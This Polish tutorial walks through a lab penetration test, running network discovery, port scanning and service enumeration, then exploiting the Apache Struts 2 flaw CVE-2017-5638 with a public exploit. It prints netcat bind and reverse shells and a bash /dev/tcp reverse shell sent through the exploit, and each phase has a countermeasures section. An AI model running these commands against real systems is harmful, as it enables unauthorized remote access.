nmap w akcji – przykładowy test bezpieczeństwa

„Jeśli​ ​znasz​ ​siebie​ ​i​ ​swego​ ​wroga,​ ​przetrwasz​ ​pomyślnie​ ​sto​ ​bitew.​ ​Jeśli​ ​nie​ ​poznasz​ ​swego​ ​wroga,​ ​lecz poznasz​ ​siebie,​ ​jedną​ ​bitwę​ ​wygrasz,​ ​a​ ​drugą​ ​przegrasz.​ ​Jeśli​ ​nie​ ​znasz​ ​ni​ ​siebie,​ ​ni​ ​wroga,​ ​każda potyczka​ ​będzie​ ​dla​ ​Ciebie​ ​zagrożeniem.”

Sun Tzu

Słowa​ ​Sun​ ​Tzu​ ​pozostają​ ​uniwersalne​ ​po​ ​dziś​ ​dzień​ ​i​ ​można​ ​odnieść​ ​je​ ​do​ ​rywalizacji,​ ​którą​ ​toczą organizacje​ ​z​ ​cyberprzestępcami.​ ​Zmieniło​ ​się​ ​jedynie​ ​miejsce​ ​tej​ ​rywalizacji​ ​-​ ​na​ ​cyberprzestrzeń. Testy​ ​penetracyjne​ ​są​ ​jednym​ ​ze​ ​sposobów,​ ​aby​ ​zrozumieć​ ​działania​ ​cyberprzestępców.​ ​W​ ​niniejszym artykule​ ​postaram​ ​się​ ​przybliżyć​ ​jak​ ​wygląda​ ​test​ ​penetracyjny,​ ​który​ ​jest​ ​symulacją​ ​działań cyberprzestępców.​ ​Lepsze​ ​zrozumienie​ ​testu​ ​penetracyjnego,​ ​jak​ ​zdobywany​ ​jest​ ​dostęp​ ​do​ ​systemu​ ​i danych​ ​jest​ ​istotną​ ​informacją.​ ​Wcielenie​ ​się​ ​w​ ​tok​ ​rozumowania​ ​i​ ​zrozumienie​ ​sposobu​ ​działania cyberprzestępców​ ​pozwoli​ ​nam​ ​się​ ​lepiej​ ​bronić​ ​i​ ​zabezpieczać.​ ​W​ ​końcu​ ​informacja​ ​jest​ ​kluczem, który​ ​otwiera​ ​każde​ ​drzwi.

Początek

Dla uproszczenia załóżmy, że znajdujemy się tej samej sieci. Najpierw powinniśmy zidentyfikować potencjalne cele – czyli urządzenia podłączone do sieci, w której się znajdujemy. Ciekawym sposobem na zrealizowanie tego zadania jest wykorzystanie programu netdiscover, który wysyła pakiety ARP i nasłuchuje odpowiedzi.

~#​​ ​netdiscover​ ​-r​ ​192.168.0.0/24

W podanym przykładzie, za pomocą parametru r podajemy skanowany zakres. W tym przypadku jest to podsieć 192.168.0.0/24. W celu zapoznania pozostałych opcji narzędzia netdiscover zachęcam do odwiedzenia stron man.

W celu identyfikacji podłączonych urządzeń wykorzystać można również technikę zwaną ping sweep. Ping sweep polega na wysyłaniu pakietów ICMP w celu identyfikacji aktywnych hostów. Jednakże, urządzenia, które filtrują albo odrzucają pakiety ICMP, nie będą oznaczone jako aktywne. Aby wykonać ping sweep wykorzystamy narzędzie nmap.

~#​​ ​nmap​ ​-sn​ ​192.168.0.0/24

Parametr sn oznacza ping scan dla podsieci 192.168.0.0/24. Cel skanowania można w tym przypadku podać również jako podsieć, listę hostów, listę nazw hostów lub pojedyncze adresy IP.

Ping sweep można również wykonać wykorzystując domyślne systemowe narzędzie ping. Z użyciem języka skryptowego (tj. perl, python, itp.) można zautomatyzować wykonanie ping sweep. Istniejące ograniczenie pakietu ICMP nie pozwala uzyskać technice ping sweep rzetelnych wyników. Warto w związku z tym poświęcić trochę więcej czasu na zbadanie urządzeń podłączonych do sieci. Możemy przeskanować sieć pod kątem 10 najczęściej wykorzystanych serwisów. Tą czynność możemy określić mianem network sweepingu.

~#​​ ​nmap​ ​--top-ports=10​ ​192.168.0.0/24

Parametr top-ports określa liczbę najczęściej używanych portów. W dalszej kolejności podajemy zakres naszego skanowania. Przykładowy wynik wykonania tej komendy daje nam informacje o statusie najczęściej używanych portów w sieci 192.168.0.0/24.

Ćwiczenia dodatkowe

1. Stworzyć​ ​skrypt​ ​(bash,​ ​perl​ ​lub​ ​python)​ ​pobierający​ ​zakres​ ​adresów​ ​IP​ ​(parametr​ ​wejściowy)​ ​i wykonującego​ ​​ping​ ​sweep​​ ​dla​ ​danego​ ​zakresu​ ​adresów​ ​IP.
2. Przyjrzeć​ ​się​ ​protokołom​ ​ARP​ ​i​ ​ICMP,​ ​jak​ ​również​ ​korzystając​ ​z​ ​​Wireshark​/​tcpdump przeanalizować​ ​generowany​ ​ruch.

Uzyskane informacje

Uzyskaliśmy adresy IP występujące w podsieci 192.168.0.0/24, jak również powiązane z nimi adresy MAC. Adresy MAC mogą posłużyć do określenia jaki typ urządzenia znajduje się w danej podsieci. W powyższych przykładach adresy MAC pokazują na takich producentów jak Cisco, SONY, Xiaomi, czy Oracle. Patrząc na adresy IP i informacje z adresu MAC można założyć, że urządzenie 192.168.0.1 to jakieś urządzenie sieciowe Cisco, a urządzenie 192.168.0.16 jest przypuszczalnie maszyną wirtualną opartą na technologii Oracle VirtualBox.

Przeciwdziałania

Zgodnie z podejściem Cyber Kill Chain powinniśmy starać się zminimalizować zagrożenie już na samym początku. Cyberk Kill Chain głosi, że uniemożliwienie wykonania danej fazy ataku, może zatrzymać albo przynajmniej utrudnić wykonanie ataku. Kontrolą w tej fazie może być wykrywanie i separacja nieautoryzowanych urządzeń z sieci. Warto tutaj wspomnieć również o TOP 20 CIS Controls for Effective Cyber Defense, w którym kontrola „Inventory of Authorized and Unauthorized Devices” znajduje się na pierwszym miejscu.

Skanowanie – port scanning

Zlokalizowaliśmy już urządzenia podłączone w sieci. Przyjmijmy, że naszym celem jest urządzenie, które korzysta z adresu 192.168.0.16. Następny krok to zdobycie więcej informacji o urządzeniu 192.168.0.16. W tym celu dokonujemy skanowania tego urządzenia i chcemy sprawdzić, które porty są otwarte. Poznamy w ten sposób możliwe punkty wejścia do systemu informatycznego, które możemy porównać do drzwi i okien w twierdzy. W tym celu skorzystamy z narzędzia unicornscan, który jest efektywnym narzędziem do wysyłania pakietów TCP/UDP.

Najpierw​ ​dokonujemy​ ​skanowania​ ​otwartych​ ​portów​ ​TCP.

~#​​ ​us​ ​-mT​ ​-r​ ​3000​ ​-R​ ​3​ ​-Iv​ ​-p​ ​1-65535​ ​192.168.0.16

Parametr mT określa typ skanowania na skan TCP, parametr r określa liczbę pakietów na sekundę, parametr R liczbę powtórzeń, natomiast parametrem p określamy zakres portów do przeskanowania. Parametr Iv określa, aby wyświetlać informacje natychmiast z dodatkowymi opisami.

Analogicznie dokonujemy skanowania otwartych portów UDP, gdzie jedyną różnicą w poleceniu jest zmiana typu skanowania z mT na mU (czyli skanowanie UDP).

~#​​ ​us​ ​-mU​ ​-r​ ​3000​ ​-R​ ​3​ ​-Iv​ ​-p​ ​1-65535​ ​192.168.0.16

Wiemy​ ​też​ ​jakie​ ​porty​ ​są​ ​otwarte,​ ​teraz​ ​powinniśmy​ ​zacząć​ ​zbierać​ ​więcej​ ​informacji​ ​na​ ​temat systemu​ ​i​ ​postarać​ ​się​ ​odpowiedzieć​ ​na​ ​pytanie:​ ​Co​ ​działa​ ​na​ ​tych​ ​portach?​ ​W​ ​tym​ ​przypadku, ponownie​ ​z​ ​pomocą​ ​przychodzi​ ​nam​ ​narzędzie​ ​​nmap​,​ ​które​ ​umożliwi​ ​realizację takich​ ​technik​ ​jak​ ​​OS fingerprinting​​ ​czy​ ​​banner​ ​grabbing​. ​​OS​ ​fingerprinting​​ ​można​ ​określić​ ​jako​ ​zdalne​ ​rozpoznanie​ ​wersji systemu​ ​operacyjnego​ ​urządzenia​ ​podłączonego​ ​do​ ​sieci.​ ​Najczęściej​ ​wykorzystywana​ ​jest​ ​do​ ​tego analiza​ ​ruchu​ ​sieciowego​ ​generowanego​ ​przez​ ​dane​ ​urządzenie​ ​podłączone​ ​do​ ​sieci,​ ​a​ ​dokładniej sposób​ ​i​ ​forma​ ​tego​ ​ruchu.​ ​​Banner​ ​grabbing​​ ​umożliwi​ ​zebranie​ ​informacji​ ​na​ ​temat​ ​serwisów uruchomionych​ ​na​ ​otwartych​ ​portach.

~#​​ ​nmap​ ​-Pn​ ​-sV​ ​-O​ ​192.168.0.16

W podanym przykładzie parametr O umożliwia oszacowanie systemu operacyjnego, natomiast parametr sV zbiera informacje przekazane przez serwisy działające na otwartych portach (informacje o wersji serwisu). Parametr Pn informuje nmap, aby traktować wszystkie cele jako dostępne. Ograniczeniem tego polecenia jest fakt, że nmap domyślnie skanuje 1000 najpopularniejszych portów i skupia się na połączeniach TCP.

W związku z tym aby przeskanować pełen zakres portów tzn. od portu 1 do 65535 potrzebujemy dodać parametr -p-, który wskazuje nmap, aby dokonać skanowania wszystkich portów TCP.

~#​​ ​nmap​ ​-Pn​ ​-sV​ -p- ​-O​ ​192.168.0.16

Teraz pozostaje również wziąć pod uwagę porty UDP. W związku z tym dodajemy parametr sU, wskazujący typ skanowania na UDP.

~#​​ ​nmap​ ​-Pn​ ​-sU​ ​-sV​ ​-O​ ​192.168.0.16

Ciekawym parametrem narzędzia nmap jest parametr A, który umożliwia wykrycie wersji systemu operacyjnego, wersji serwisów (opcja sV) oraz uruchamia pasujące skrypty i polecenie traceroute do wskazanego celu.

~#​​ ​nmap​ ​-Pn​ ​-p-​ ​-A​ ​192.168.0.16

Ćwiczenia dodatkowe

1. Wykorzystać do skanowania podstawowe narzędzia jak: nc, netcat,
   sbd, telnet
2. Zapoznać​ ​się​ ​z​ ​możliwościami​ ​portalu​ ​​https://www.shodan.io/​.

Uzyskane informacje

Na tym etapie uzyskaliśmy następujące informacje:

• Nazwa​ ​urządzenia:​ ​​secubuntu
• System operacyjny: Linux, Ubuntu
• Wersje serwisów:
  • OpenSSH​ ​6.6.1p1​ ​Ubuntu​ ​2ubuntu2.7​ ​(Ubuntu​ ​Linux;​ ​protocol​ ​2.0)
  • Apache​ ​httpd​ ​2.4.7​ ​((Ubuntu))
  • Samba​ ​smbd​ ​4.3.9-Ubuntu​ ​(workgroup:​ ​WORKGROUP)
  • Apache​ ​Tomcat/Coyote​ ​JSP​ ​engine​ ​1.1

Dzięki tym informacjom możemy oszacować jaka jest to wersja system operacyjnego (mając powyższe informacje). Na podstawie wersji pakietów OpenSSH 6.6.1p1 można zweryfikować, że domyślnie dostarczany był w ramach systemu Ubuntu 14.04.

Przeciwdziałania

W tej sekcji dowiedzieliśmy się, że dzięki samemu skanowaniu możemy uzyskać wiele informacji. W związku z tym uzasadnione jest, aby ograniczyć liczbę otwartych portów do tych wymaganych. Zmniejszymy tym liczbę możliwych punktów wejścia, możliwości zdobycia informacji o systemie informatycznym, jak również liczbę podatności, którym urządzenie może podlegać.

Serwisy​ ​–​ ​Service​ ​Enumeration

W tej części wciąż będziemy starać się zdobyć więcej informacji o systemie, a w szczególności o serwisach do których mamy dostęp przez otwarte porty (udostępniających swoje usługi). Przyjrzyjmy się więc bliżej działającym serwisom. Nmap zawiera bardzo przydatny, umożliwiający wykorzystanie skryptów moduł zwany NSE (ang. Nmap Scripting Engine). NSE daje również możliwość wykrywania podatności. Spróbujemy wykorzystać to do zdobycia większej ilości informacji o serwisach. Będziemy również wspierali się innymi narzędziami.

Serwis SAMBA

Przyjrzyjmy się najpierw serwisowi, który umożliwia współdzielenie plików oraz drukarek. Serwer 192.168.0.19 ma serwis SMB (samba) na portach TCP 139 i 445. Skrypty NSE przechowywane są w katalogu /usr/share/nmap/scripts (domyślna lokalizacja dla dystrybucji linux kali-2.0). Przyjrzyjmy się skryptom smb.

~#​​ ​ls​ ​/usr/share/nmap/scripts/​ ​|​ ​grep​ ​smb

Zacznijmy od skrypt smb-enum-users, który stara się znaleźć informacje o użytkownikach serwisu. W celu skorzystania ze skryptu podajemy parametr –script oraz nazwę skryptu (domyślnie nmap szuka skryptów w katalogu /usr/share/nmap/scripts). Warto zapoznać się z dodatkowymi informacjami dotyczącymi skryptów oraz z jakimi parametrami mogą być uruchamiane (można to zrobić otwierając skrypt w edytorze tekstowym).

~#​​ ​nmap​ ​-sV​ ​-p​ ​139,445​ ​--script=smb-enum-users.nse​ ​192.168.0.16

Teraz postarajmy się dowiedzieć trochę więcej na temat systemu operacyjnego. W tym celu skorzystamy ze skryptu smb-os-discovery.

~#​​ ​nmap​ ​-sV​ ​-p​ ​139,445​ ​--script=smb-os-discovery​ ​192.168.0.16

W celu zautomatyzowanej iteracji serwisu SAMBA, możemy wykorzystać również dedykowane narzędzia. Tutaj dobrym przykładem jest narzędzie enum4linux. Uruchomione z opcją v pokazuje jakie polecenia zostały użyte w celu zdobycia danych informacji. Można wykorzystać to do własnych ćwiczeń i pogłębienia wiedzy.

~#​​ ​enum4linux​ ​-v​ ​192.168.0.16

Zwróćmy​ ​uwagę,​ ​że​ ​serwis​ ​SAMBA​ ​umożliwia​ ​korzystanie​ ​z​ ​”pustego”​ ​loginu​ ​i​ ​hasła.​ ​Jest​ ​to​ ​tzw.​ ​​null session​.​ ​Warto​ ​również​ ​przyjrzeć​ ​się​ ​sekcji​ ​user.

Serwisy HTTP

Przeanalizujmy teraz pozostałe otwarte porty i usługi działające na nich. Sprawdźmy je jednocześnie, ponieważ pod pozostałymi otwartymi portami, kryją się serwisy webowe. Jest to dobra forma porównania podejścia, jak również uzyskanych informacji. Na początek korzystając z przeglądarki webowej, możemy przyjrzeć się udostępnianym serwisom oraz przejrzeć źródło stron www. Powinniśmy wykorzystać zdobytą do tej pory wiedzy na temat skryptów NSE do nmap i sprawdzić jakie informacje jesteśmy w stanie uzyskać.

~#​​ ​nmap​ ​-sV​ ​-p​ ​80,8080​ ​--script=http-headers​ ​192.168.0.16

Od razu możemy zauważyć, że na porcie 80 dostępna jest domyślna strona Apache. O wiele ciekawiej wygląda serwis na porcie 8080. Przyjrzyjmy się bliżej stronie serwowanej na porcie 8080. W tym celu wykorzystajmy narzędzie curl do transferu danych.

~#​​ ​curl​ ​-i​ ​http://192.168.0.16:8080/

Dzięki temu uzyskujemy ciekawe informacje o nagłówku HTTP wysłanym przez serwer w odpowiedzi oraz nagłówku strony www. Zauważmy, że strona www jest dostępna dzięki aplikacji opartej na Apache Struts2. To daje nam informacje jaka potencjalna webaplikacja uruchomiona jest na serwisie webowym.

Upewnijmy się, że poza tym co do tej pory znaleźliśmy nie ma innych webaplikacji. W tym celu skorzystamy z narzędzi dirb i gobuster. Są to skanery webowe, które na podstawie zadanej zdefiniowanej listy słownikowej badają odpowiedzi serwera www i ustalają czy dana strona istnieje (jaki kod HTTP zwraca). Zdefiniowana lista słownikowa zawiera najczęściej występujące nazwy stron np. robots.txt.

Zacznijmy​ ​od​ ​narzędzia​ ​​dirb​.

~#​​ ​dirb​ ​http://192.168.0.16

~#​​ ​dirb​ ​http://192.168.0.16:8080

Skorzystajmy teraz z narzędzia gobuster. Parametr u oznacza adres URL, parametr w – zdefiniowaną listę słownikową, parametr s – kody statusów zapytań HTTP/S, a parametr e oznacza rozszerzony tryb, wyświetlający całe adresy URL.

~#​​ ​gobuster​ ​-u​ ​http://192.168.0.16/​ ​-w​ ​/usr/share/seclists/Discovery/Web_Content/common.txt -s​ ​'200,204,301,302,307,403,500'​ ​-e

~#​​ ​gobuster​ ​-u​ ​http://192.168.0.16:8080/​ ​-w /usr/share/seclists/Discovery/Web_Content/tomcat.txt​ ​-s​ ​'200,204,301,302,307,403,500'​ ​-e

Na podstawie powyższych uzyskujemy, że pod adresem http://192.168.0.16:8080/manager znajduje się Tomcat Manager i wita nas ekranem logowania.

Na​ ​koniec​ ​zostawiamy​ ​sobie​ ​kompleksowy​ ​audyt​ ​serwisu​ ​webowego​ ​narzędziem​ ​​nikto​.

~#​​ ​nikto​ ​-host​ ​192.168.0.16

Ćwiczenia​ ​dodatkowe

• Zapoznać​ ​się​ ​z​ ​poleceniami​ ​wykonywanymi​ ​przez​ ​narzędzie​ ​​enum4linux​.​ ​Samodzielne uruchomić​ ​te​ ​polecenia.
• Zapoznać​ ​się​ ​z​ ​poleceniem​ ​​curl​​ ​oraz​ ​co​ ​można​ ​zrobić​ ​z​ ​otrzymywanymi​ ​rezultatami​ ​(hint: linux​ ​piping/redirection).

Uzyskane informacje

W​ ​tym​ ​etapie​ ​uzyskaliśmy​ ​następujące​ ​informacje​ ​dzięki​ ​iteracji​ ​serwisu​ ​SAMBA:

• Nazwa​ ​użytkownika:​ ​​test
• Minimalna​ ​długość​ ​hasła: 5

Zdobyliśmy​ ​również​ ​informacje​ ​o​ ​systemie​ ​oraz​ ​współdzielonych​ ​katalogach.​ ​Zebrane​ ​informacje​ ​w połączeniu​ ​z​ ​innymi​ ​mogą​ ​być​ ​przydatne.​ ​Powinniśmy​ ​zadać​ ​sobie​ ​pytanie:​ ​Do​ ​czego​ ​możemy wykorzystać​ ​tą​ ​informację?​ ​Mamy​ ​login,​ ​minimalną​ ​długość​ ​hasła​ ​oraz​ ​serwis​ ​SSH​ ​(umożliwiający logowanie),​ ​od​ ​razu​ ​przychodzi​ ​nam​ ​na​ ​myśl​ ​próba​ ​złamania​ ​hasła​ ​i​ ​w​ ​ten​ ​sposób​ ​uzyskanie​ ​dostępu użytkownika​ ​test.​ ​Dopiszmy​ ​to​ ​do​ ​listy​ ​potencjalnych​ ​kolejnych​ ​akcji​ ​(jako​ ​ewentualność). Z​ ​serwisów​ ​webowych​ ​uzyskaliśmy​ ​informacje​ ​na​ ​temat​ ​potencjalnej​ ​webaplikacji​ ​opartej​ ​na​ ​Apache Struts2​ ​oraz​ ​dostępny​ ​panel​ ​logowania​ ​do​ ​Tomcat​ ​Managera.​ ​Panel​ ​logowania​ ​do​ ​Tomcat​ ​Managera można​ ​poddać​ ​próbie​ ​złamania​ ​hasła,​ ​jednak​ ​jak​ ​poprzednio​ ​przy​ ​serwisie​ ​SAMBA​ ​dodajmy​ ​to​ ​do listy​ ​potencjalnych​ ​kolejnych​ ​akcji.​ ​Naszą​ ​ciekawość​ ​powinna​ ​wzbudzić​ ​dostępna​ ​webaplikacja,​ ​w której​ ​możemy​ ​szukać​ ​podatności​ ​albo​ ​podatności​ ​w​ ​silniku​ ​tej​ ​webaplikacji.

Przeciwdziałania

W tej fazie bazujemy na informacjach uzyskanych z uruchomionych serwisów, w to jaki sposób się przedstawiają (dzięki technice tzw. banner grabbing) i jakie informacje wysyłają użytkownikowi swoich usług. Możemy zminimalizować zagrożenie poprzez skonfigurowanie serwisów w taki sposób, że nie będą udostępniały nadmiarowej informacji (np. poprzez wyłączenie banera wysyłanego przez usługę, czy wyłączenie null session w SAMBA). Jest to częścią kontroli określanej jako „Secure Configuration”.

Follow the white rabbit

Konkluzją​ ​poprzedniego​ ​etapu​ ​było​ ​szukanie​ ​podatności.​ ​W​ ​tym​ ​przypadku​ ​również​ ​z​ ​pomocą​ ​mogą przyjść​ ​możliwości​ ​skryptów​ ​NSE​ ​narzędzia​ ​​nmap​.​ ​Przykładem​ ​może​ ​być​ ​taki​ ​projekt​ ​wzbogacający skrypty​ ​NSE:​ ​​http://www.computec.ch/projekte/vulscan/

Instalacja​ ​polega​ ​na​ ​skopiowaniu​ ​katalogu​ ​​vulscan​​ ​do​ ​katalogu​ ​ze​ ​skryptami​ ​​nmap​,​ ​czyli /usr/share/nmap/scripts.​ ​Następnie​ ​korzystamy​ ​z​ ​nmap​ ​do​ ​uruchomienia​ ​tych​ ​skryptów​ ​podając​ ​ich nazwę​ ​jako​ ​zmienną​ ​do​ ​parametru​ ​​script​.

~#​​ ​nmap​ ​–sS​ ​–sV​ ​–script=vulscan​ ​192.168.0.16

Wykryte wersje serwisów posłużyły do porównania z informacjami zawartymi w bazach z podatnościami dostępnymi w ramach tego projektu.

Na​ ​tym​ ​etapie​ ​możemy​ ​zebrać​ ​zdobyte​ ​informacje​ ​i​ ​spróbować​ ​dowiedzieć​ ​się​ ​więcej​ ​o​ ​potencjalnych podatnościach. W​ ​tym​ ​celu​ ​wykorzystamy​ ​następujące​ ​portale​ ​o​ ​powszechnie​ ​znanych​ ​podatnościach​ ​i​ ​zagrożeniach:

• https://www.cvedetails.com
• http://www.securityfocus.com
• https://cve.mitre.org/

Skorzystajmy​ ​z​ ​przykładu,​ ​w​ ​którym​ ​zidentyfikowaliśmy​ ​webaplikację​ ​Apache​ ​Struts​ ​2. Przejdźmy​ ​na​ ​stronę​ ​cvedetails.com​ ​i​ ​wyszukajmy​ ​Apache​ ​Struts​ ​2.

Otrzymaliśmy listę CVE (ang. Common Vulnerabilities and Exposures) dla wersji Apache Struts 2. Warto przyjrzeć się tym z największym wynikiem CVSS, jak również informacji o dostępie który dają. Tym sposobem uzyskaliśmy informację o CVE-2017-5638, o którym na pewno warto dowiedzieć się więcej. Szukając więcej informacji na temat tej podatności, można znaleźć skrypt nmap sprawdzający czy dana webaplikacja jest podatna.

Skrypt​ ​dostępny​ ​jest​ ​na​ ​stronie​ ​nmap: https://nmap.org/nsedoc/scripts/http-vuln-cve2017-5638.html

Pobieramy​ ​skrypt​ ​i​ ​sprawdzamy,​ ​czy​ ​webaplikacja​ ​jest​ ​podatna.

~#​​ ​nmap​ ​-sV​ ​-p​ ​8080​ ​--script=/root/Downloads/http-vuln-cve2017-5638.nse​ ​192.168.0.16

Wynik potwierdza nasze przypuszczenia, webaplikacja jest podatna. Teraz pozostaje nam znalezienie sposobu wykorzystania tej podatności. W tym celu możemy skorzystać z baz zawierających źródła publicznie znanych exploitów. Takimi bazami są np.:

• http://www.securityfocus.com/vulnerabilities
• https://www.exploit-db.com/

W ramach dystrybucji Kali Linux jest również lokalna kopia bazy exploit-db i znajduje się ona w katalogu /usr/share/exploitdb. Skorzystajmy z narzędzia searchsploit, które umożliwia przeszukanie lokalnej bazy exploit-db. Podajemy parametr t, który oznacza wyszukiwanie ciągu znaków w tytule (w tym przypadku ciąg znaków to struts 2.*).

~#​​ ​searchsploit​ ​-t​ ​struts​ ​2.*

Otrzymujemy​ ​wyniki​ ​odpowiadające​ ​naszym​ ​parametrom​ ​wyszukiwania.​ ​Exploit​ ​do​ ​znalezionej podatności​ ​to​:

Apache​ ​Struts​ ​2.3.5​ ​<​ ​2.3.31​ ​/​ ​2.5​ ​<​ ​2.5.10​ ​-​ ​Remote​ ​Code​ ​Execution​ ​|​ ​​ ​linux/webapps/41570.py

Po przeanalizowaniu kodu exploita przygotowujemy się do jego uruchomienia. W naszym przykładzie kod napisany jest w języku python, oraz wymaga parametrów url (który jest adresem naszej aplikacji opartej o framework Apache Struts) oraz cmd (polecenia, które ma być wykonane).

~#​​ ​python​ ​/usr/share/exploitdb/platforms/linux/webapps/41570.py http://192.168.0.16:8080/index.action​ ​ifconfig

Po​ ​uruchomieniu​ ​kodu​ ​otrzymujemy​ ​wynik​ ​polecenia​ ​​ifconfig​​ ​na​ ​maszynie​ ​192.168.0.16​ ​(w​ ​końcu​ ​jest to​ ​podatność​ ​typu​ ​RCE​ ​–​ ​​Remote​ ​Code​ ​Execution​).

Dowiedzmy​ ​się​ ​czegoś​ ​więcej​ ​o​ ​maszynie​ ​192.168.0.16​ ​i​ ​skorzystajmy​ ​z​ ​możliwości​ ​wykonywania zdalnie​ ​poleceń.

~#​​ ​python​ ​/usr/share/exploitdb/platforms/linux/webapps/41570.py http://192.168.0.16:8080/index.action​ ​"whoami;​ ​uname​ ​-a;​ ​hostname"

Jako​ ​wynik​ ​otrzymujemy​ ​dodatkowe​ ​informacje,​ ​np.​ ​polecenia​ ​uruchamiamy​ ​jako​ ​użytkownik tomcat7,​ ​znamy​ ​wersję​ ​jądra​ ​systemu​ ​operacyjnego​ ​(4.4.0)​ ​oraz​ ​sprawdziliśmy​ ​nazwę​ ​hosta.

Pozostaje​ ​nam​ ​odpowiedzieć​ ​na​ ​pytanie:​ ​Jak​ ​uzyskać​ ​dostęp​ ​do​ ​systemu?

W​ ​tym​ ​miejscu​ ​pora​ ​przedstawić​ ​koncept​ ​​bind​ ​shell​​ ​i​ ​​reverse​ ​shell​.

Bind​ ​shell​​ ​jest​ ​wykorzystywane​ ​do​ ​”związania”​ ​wiersza​ ​poleceń​ ​(ang.​ ​​shell​)​ ​do​ ​portu​ ​TCP,​ ​na​ ​którym nasłuchujemy.​ ​Połączenie​ ​do​ ​tego​ ​portu​ ​TCP​ ​udostępni​ ​wiersz​ ​poleceń​ ​do​ ​systemu.

W​ ​celu​ ​lepszego​ ​zobrazowania​ ​użyjmy​ ​takiego​ ​scenariusza:​ ​Alicja​ ​chce,​ ​aby​ ​Bob​ ​pomógł​ ​jej​ ​w konfiguracji​ ​jej​ ​komputera.​ ​W​ ​związku​ ​z​ ​tym​ ​Alicja​ ​na​ ​swoim​ ​komputerze​ ​uruchamia​ ​program,​ ​który nasłuchuje​ ​na​ ​porcie​ ​4444​ ​i​ ​wiąże​ ​się​ ​z​ ​wierszem​ ​poleceń​ ​​cmd.exe​.​ ​Bob​ ​łączy​ ​się​ ​z​ ​komputerem​ ​Alicji na​ ​porcie​ ​4444​ ​i​ ​dostaje​ ​wiersz​ ​poleceń​ ​​cmd.exe​ ​​komputera​ ​Alicji.

Realizacja​ ​powyższego​ ​scenariusza​ ​z​ ​wykorzystaniem​ ​narzędzia​ ​​netcat​.​ ​Parametr​ ​​n​​ ​narzędzia​ ​​netcat oznacza​ ​używanie​ ​numerycznych​ ​adresów​ ​IP​ ​(bez​ ​korzystania​ ​z​ ​DNS),​ ​parametr​ ​​l​​ ​ustawia​ ​tryb nasłuchiwania,​ ​parametr​ ​​p​​ ​określa​ ​port,​ ​na​ ​który​ ​nasłuchujemy.​ ​Natomiast​ ​parametr​ ​​v​​ ​określa,​ ​że netcat​ ​będzie​ ​wyświetlał​ ​więcej​ ​informacji​ ​podczas​ ​działania.

Przyjmijmy, że:

• 192.168.0.10​ ​–​ ​adres​ ​IP​ ​komputera​ ​Alicji
• 192.168.0.20​ ​–​ ​adres​ ​IP​ ​komputera​ ​Boba

## Alicja
~#​​ ​nc.exe​ ​–nlvp​ ​4444​ ​–e​ ​cmd.exe
## Bob
~#​​ ​nc.exe​ ​–nv​ ​192.168.0.10​ ​4444

Reverse​ ​shell​​ ​jest​ ​wykorzystywane​ ​do​ ​przekazania​ ​wiersza​ ​poleceń​ ​i​ ​połączenia​ ​się​ ​na​ ​port​ ​TCP wskazanego​ ​adresu.​ ​Połączenie​ ​do​ ​portu​ ​TCP​ ​wskazanego​ ​adresu​ ​udostępni​ ​wiersz​ ​poleceń.

W​ ​celu​ ​lepszego​ ​zobrazowania​ ​użyjmy​ ​takiego​ ​scenariusza:​ ​Alicja​ ​chce,​ ​aby​ ​Bob​ ​pomógł​ ​jej​ ​w konfiguracji​ ​jej​ ​komputera.​ ​W​ ​związku​ ​z​ ​tym​ ​Bob​ ​na​ ​swoim​ ​komputerze​ ​uruchamia​ ​program,​ ​który nasłuchuje​ ​na​ ​porcie​ ​4444.​ ​Alicja​ ​​łączy​ ​się​ ​do​ ​komputera​ ​Boba​ ​i​ ​wiąże​ ​to​ ​połączenie​ ​z​ ​wierszem poleceń​ ​​cmd.exe​.​ ​Bob​ ​otrzymuje​ ​wiersz​ ​poleceń​ ​​cmd.exe​​ ​komputera​ ​Alicji.

Realizacja​ ​powyższego​ ​scenariusza​ ​z​ ​wykorzystaniem​ ​narzędzia​ ​​netcat​.

Przyjmijmy​ ​założenia​ ​jak​ ​w​ ​poprzednim​ ​przykładzie.

## Bob
~#​​ ​nc.exe​ ​–nlvp​ ​4444
## Alicja
~#​​ ​nc.exe​ ​–nv​ ​192.168.0.20​ ​4444​ ​–e​ ​cmd.exe

Wróćmy​ ​do​ ​naszego​ ​celu,​ ​którym​ ​jest​ ​host​ ​z​ ​podatnością​ ​CVE-2017-5638.​ ​W​ ​celu​ ​uzyskania​ ​dostępu do​ ​urządzenia​ ​192.168.0.16​ ​wykorzystamy​ ​koncept​ ​​reverse​ ​shell​.​ ​Najpierw​ ​zacznijmy​ ​nasłuchiwać​ ​na porcie​ ​4444.

~#​​ ​nc​ ​–nvlp​ ​4444

W​ ​drugim​ ​oknie​ ​terminala​ ​wykonajmy​ ​następujące​ ​polecenie​ ​​bash​ ​-i​ ​>& /dev/tcp/192.168.0.14/4444​ ​0>&1 ​,​ ​które​ ​tworzy​ ​połączenie​ ​do​ ​naszego​ ​urządzenia​ ​(czyli 192.168.0.14)​ ​na​ ​porcie​ ​4444​ ​i​ ​przekazuje​ ​wiersz​ ​poleceń​ ​​/bin/bash​.

~#​​ ​python​ ​/usr/share/exploitdb/platforms/linux/webapps/41570.py http://192.168.0.16:8080/index.action​ ​"bash​ ​-i​ ​>&​amp; ​/dev/tcp/192.168.0.14/4444​ ​0>&1"

Wynikiem​ ​wykonania​ ​tych​ ​poleceń​ ​jest​ ​dostęp​ ​do​ ​wiersza​ ​poleceń​ ​systemu​ ​192.168.0.16​ ​na uprawnieniach​ ​użytkownika​ ​tomcat7.

Ćwiczenia dodatkowe

• Sprawdzić​ ​CVE-2017-5638​ ​w​ ​różnych​ ​bazach​ ​z​ ​podatnościami​ ​oraz​ ​zapoznać​ ​się​ ​z​ ​tą
  podatnością.
• Wyszukać​ ​exploit​ ​do​ ​podatności​ ​CVE-2017-5638​ ​w​ ​baz​ ​zawierających​ ​źródła​ ​publicznie znanych​ ​exploitów.
• Zapoznać​ ​się​ ​z​ ​kodem​ ​exploita​ ​do​ ​podatności​ ​CVE-2017-5638.
• Wykorzystać​ ​narzędzie​ ​​netcat​​ ​do​ ​stworzenia​ ​​bind​ ​shell​​ ​i​ ​​reverse​ ​shell​.
• Dlaczego​ ​w​ ​przypadku​ ​maszyny​ ​z​ ​systemem​ ​operacyjnym​ ​ubuntu​ ​14.04​ ​server​ ​nie​ ​można było​ ​uruchomić​ ​narzędzia​ ​​netcat​​ ​z​ ​opcją​ ​​e​?

Uzyskane informacje

